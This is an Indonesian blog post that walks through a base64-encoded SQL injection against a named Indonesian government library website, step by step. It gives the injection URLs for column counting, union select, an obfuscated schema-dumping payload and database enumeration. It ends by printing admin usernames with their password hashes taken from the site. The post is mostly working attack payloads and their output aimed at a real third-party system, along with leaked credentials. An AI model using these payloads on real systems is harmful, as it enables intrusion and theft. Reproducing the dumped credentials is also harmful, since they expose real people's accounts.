![]() |
MYSQL Injection base64 statement |
bug location: http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTA=
Tools : Hackbar [Addons Mozilla]
bug type: MYSQL Injection base64 statement
author: X'1N73CT
POC:
[ Tahap 1 - TESTER ]
kita bisa lihat bahwa id web tersebut adalah base64
ini terbukti dari hasil decode id tersebut ( MTA= ) adalah 10
berhubung parameter idnya menggunakan encoding base64 maka tinggal merubah perintah SQLI nya dari text biasa / ASCII menjadi base64.
Seperti yang telah kita ketahui cara pentester yang biasa dilakukan adalah dengan menambahkan tanda [PETIK / ' ] setelah parameter "id"
sehingga menjadi :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10'
namun harus di encode dulu ke base64 [10 --> MTAn]
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAn
lalu buka di browser.
Hasil Output :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25
ternyata hasil outputnya error, disini kita dapatkan bug sql injection nya terdapat pada parameter id.
[ Tahap 2 - MENCARI JUMLAH KOLOM ]
seperti biasa yg kita lakukan dalam tahap ini kita memakai perintah order by
seperti berikut:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 1--
encode ke base64 lagi [ "10 order by 1--" menjadi "MTAgb3JkZXIgYnkgMS0t" ]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMS0t
lalu buka di browser.
Hasil Output : Output Masih Normal
kita lompat ke 100, kenapa saya melompat jauh ke 100 yakni ingin mengecek web ini di proteksi atau tidak.
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10 order by 100--
encode ke base64 lagi [ "10 order by 100--" menjadi "MTAgb3JkZXIgYnkgMTAwLS0=" ] :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAgb3JkZXIgYnkgMTAwLS0=
Hasil Output : Ternyata output web masih normal,
ada 2 kemungkinan, yakni website tersebut telah di proteksi atau jumlah kolomnya lebih dari 100,
untuk melakukan testing kita sisipkan perintah [ ' (petik)] dan [ -- - ]
sehingga menjadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 100-- -
encode ke base64 lagi : [ "10' order by 100-- -" menjadi "MTAnIG9yZGVyIGJ5IDEwMC0tIC0=" ]
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwMC0tIC0=
lalu buka di browser.
Hasil Output :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25
ternyata hasil outputnya error.
berarti kolom database tidak sampai 100 ( adminnya mau nipu saya ohh tidak bisa )
kita coba mundur ke angka 12
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 12-- -
encode dulu ke base64 [ "10' order by 12-- -" menjadi "MTAnIG9yZGVyIGJ5IDEyLS0gLQ==" ]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEyLS0gLQ==
lalu buka di browser.
Hasil Output :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25
error, ternyata kolom database nya sampai 12.
kita coba angka 10
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 10-- -
kita encode dulu ke base64 [ "10' order by 10-- -" menjadi "MTAnIG9yZGVyIGJ5IDEwLS0gLQ==" ]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDEwLS0gLQ==
Hasil Output :
web kembali normal
wkwkkw. berarti kolomnya antara 10 - 11 heheh
mari kita coba 11.
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=10' order by 11-- -
encode dulu ke base64 [ "10' order by 11-- -" menjadi "MTAnIG9yZGVyIGJ5IDExLS0gLQ=="]:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=MTAnIG9yZGVyIGJ5IDExLS0gLQ==
Hasil Output :
Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /opt/lampp/htdocs/perpustakaan/prosiding_detil.php on line 25
ternyata kolomnya ada 10
[ Tahap 3 - MENCARI ANGKA INJEKSI / ANGKA AJAIB]
bisa ditebak kan di tahap ini kita menggunakan perintah apa?
yups anda benar kita memakai perintah union select di ikuti urutan jumlah angka yg kita temukan tadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -
encode ke base64 [ "-10' UNION SELECT 1,2,3,4,5,6,7,8,9,10-- -" menjadi "LTEwJyBVTklPTiBTRUxFQ1QgMSwyLDMsNCw1LDYsNyw4LDksMTAtLSAt" ] :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSwyLDMsNCw1LDYsNyw4LDksMTAtLSAt
Hasil Output :
keluar angka 2,3,4,5,6,7,8,10
yups itulah angka injeksi / angka ajaib untuk digunakan di langkah selanjutnya.
[ Tahap 4 - MENCARI VERSI MYSQL ]
ok dalam tahap ini kita menggunakan perintah "version()" atau "@@version"
kita sisipkan di salah satu angka yang keluar tadi
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,version(),3,4,5,6,7,8,9,10-- -
encode ke base64 :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSx2ZXJzaW9uKCksMyw0LDUsNiw3LDgsOSwxMC0tIC0=
Hasil Output :
tampilan angka 2 tadi berubah menjadi 5.1.30
yupp mantapp kita dapat versi 5
kalau versi kurang dari 5 kita harus tebak sendiri nama kolomnya
[ Tahap 5 - FAST SQLI ]
guna mempersingkat waktu saya pakai teknik ini saja
tekniknya mudah kok tinggal menggantikan perintah version dengan perintah ini
concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:[email protected]_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x))
taruh di parameter "id", yaitu seperti berikut :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,concat(0x3c623e417574686f7220203a2020205827314e373343543c42523e4255472054797065203a202053514c493c62723e4d5953514c2056657273696f6e3a20,version(),(SELECT(@x)from(SELECT(@x:=0x00),(@running_number:=0),(SELECT(0)from(information_schema.columns)where(table_schema!=0x696e666f726d6174696f6e5f736368656d61)and(0x00)in(@x:=concat(@x,0x3c62723e20,(@running_number:[email protected]_number+1),0x2e20,table_schema,0x203d3d3e20,table_name,0x203d3d3e20,column_name))))x)),3,4,5,6,7,8,9,10-- -
jangan lupa di encode ke base64 :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxjb25jYXQoMHgzYzYyM2U0MTc1NzQ2ODZmNzIyMDIwM2EyMDIwMjA1ODI3MzE0ZTM3MzM0MzU0M2M0MjUyM2U0MjU1NDcyMDU0Nzk3MDY1MjAzYTIwMjA1MzUxNGM0OTNjNjI3MjNlNGQ1OTUzNTE0YzIwNTY2NTcyNzM2OTZmNmUzYTIwLHZlcnNpb24oKSwoU0VMRUNUKEB4KWZyb20oU0VMRUNUKEB4Oj0weDAwKSwoQHJ1bm5pbmdfbnVtYmVyOj0wKSwoU0VMRUNUKDApZnJvbShpbmZvcm1hdGlvbl9zY2hlbWEuY29sdW1ucyl3aGVyZSh0YWJsZV9zY2hlbWEhPTB4Njk2ZTY2NmY3MjZkNjE3NDY5NmY2ZTVmNzM2MzY4NjU2ZDYxKWFuZCgweDAwKWluKEB4Oj1jb25jYXQoQHgsMHgzYzYyNzIzZTIwLChAcnVubmluZ19udW1iZXI6PUBydW5uaW5nX251bWJlcisxKSwweDJlMjAsdGFibGVfc2NoZW1hLDB4MjAzZDNkM2UyMCx0YWJsZV9uYW1lLDB4MjAzZDNkM2UyMCxjb2x1bW5fbmFtZSkpKSl4KSksMyw0LDUsNiw3LDgsOSwxMC0tIC0=
Hasil Output :
taraa,,
bisa dilihat sendiri
lanjut kita cari username dan passwordnya
gunakan kombinasi keyboard [ ctrl+f ] lalu masukkan keyword "pass" lalu tekan enter
berhubung website tersebut memiliki database yang banyak
kita lihat database web ini dengan cara
mengganti perintah fast sqli tadi dengan perintah database()
cekidot
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,database(),3,4,5,6,7,8,9,10-- -
encode dulu ke base64 :
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxkYXRhYmFzZSgpLDMsNCw1LDYsNyw4LDksMTAtLSAt
Hasil Output :
muncul kata
"omen"
yups nama databasenya adalah omen
klik back di firefox untuk kembali ke fast sqli tadi
lalu kita ctrl+f kata omen
dan cari username "admin".
ketemu.
2864. omen ==> admin ==> id
2865. omen ==> admin ==> nama
2866. omen ==> admin ==> user
2867. omen ==> admin ==> pass
format fast sqli disini ialah
namadatabase ==> namatabel ==> namakolom
jadi
namadatabase: omen
nama tabel : admin
nama column : id,nama,user,pass
[ Tahap 6 - DUMP ISI DATA ]
jika sudah tau nama database,namatabel dan nama kolomnya lngkah selnjutnya ialah kita buka datanya
buka datanya sama seperti biasa
yaitu dengan perintah
group_concat(namakolom) diikuti dengan from nama_tabel
namun jika databasenya kelihatan banyak bisa juga pakai yang ini
group_concat(namakolom) diikuti dengan from namadatabase.namatabel
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=-10' UNION SELECT 1,group_concat(user,0x3a,pass),3,4,5,6,7,8,9,10 from omen.admin-- -
encode ke base64:
http://aplikasi.mgi.esdm.go.id/perpustakaan/index2.php?isi=prosiding_detil.php&id=LTEwJyBVTklPTiBTRUxFQ1QgMSxncm91cF9jb25jYXQodXNlciwweDNhLHBhc3MpLDMsNCw1LDYsNyw4LDksMTAgZnJvbSBvbWVuLmFkbWluLS0gLQ==
Hasil Output :
juhe:704b037a97fa9b25522b7c014c300f8a,
mgi:2d8ba2223ae0795eb813db8aa28bf0aa,
yuni:e10adc3949ba59abbe56e057f20f883e,
narto:350182be1d34410b443f569865119912,
dery:ee453e6c81726c71cfdd34e74791d600
MYSQL Injection base64 statement
Reviewed by Sitakom Blog
on
2:19 PM
Rating:

No comments: